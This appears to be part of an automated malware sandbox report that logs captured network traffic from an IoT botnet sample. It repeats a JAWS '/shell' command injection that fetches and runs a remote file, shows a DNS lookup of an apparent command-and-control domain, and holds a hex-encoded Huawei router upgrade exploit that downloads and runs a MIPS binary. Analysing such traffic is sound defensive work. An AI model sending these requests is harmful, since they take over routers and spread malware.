Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: plutoc2.site

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope 